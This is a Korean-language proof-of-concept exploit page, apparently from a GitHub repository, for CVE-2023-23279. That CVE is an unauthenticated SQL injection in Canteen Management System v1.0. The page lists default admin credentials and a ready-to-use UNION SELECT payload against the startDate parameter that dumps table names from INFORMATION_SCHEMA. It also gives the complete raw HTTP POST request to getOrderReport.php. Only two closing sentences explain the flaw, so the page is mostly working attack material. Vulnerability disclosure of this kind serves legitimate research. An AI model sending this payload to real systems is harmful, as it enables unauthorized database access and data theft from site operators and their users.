tuannq2299/cve-2023-23279Canteen Management System v1.0의 인증되지 않은 SQL 주입 취약점(CVSS 9.8)에 대한 개념 증명 익스플로잇으로, getOrderReport.php 엔드포인트를 통해 원격 데이터 추출을 가능하게 합니다.
발견일: 2023년 5월 1일 벤더: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html
로그인 계정: [email protected]/rootadmin (슈퍼 관리자 계정)
취약점 파일: /php_action/getOrderReport.php
취약점 위치: /php_action/getOrderReport.php, startDate
CVSS 3.0: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
페이로드: startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-
POST /youthappam/php_action/getOrderReport.php HTTP/1.1
Host: localhost
Content-Length: 297
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/youthappam/report.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-&endDate=2023-01-06
이 요청은 인증되지 않은 사용자가 보낼 수 있으며, 그 이유로 이 취약점의 CVSS 점수는 9.8입니다.
startDate 매개변수의 값은 어떠한 검증(새니타이즈)도 거치지 않은 채 SQL 쿼리에 전달되어 실행됩니다.
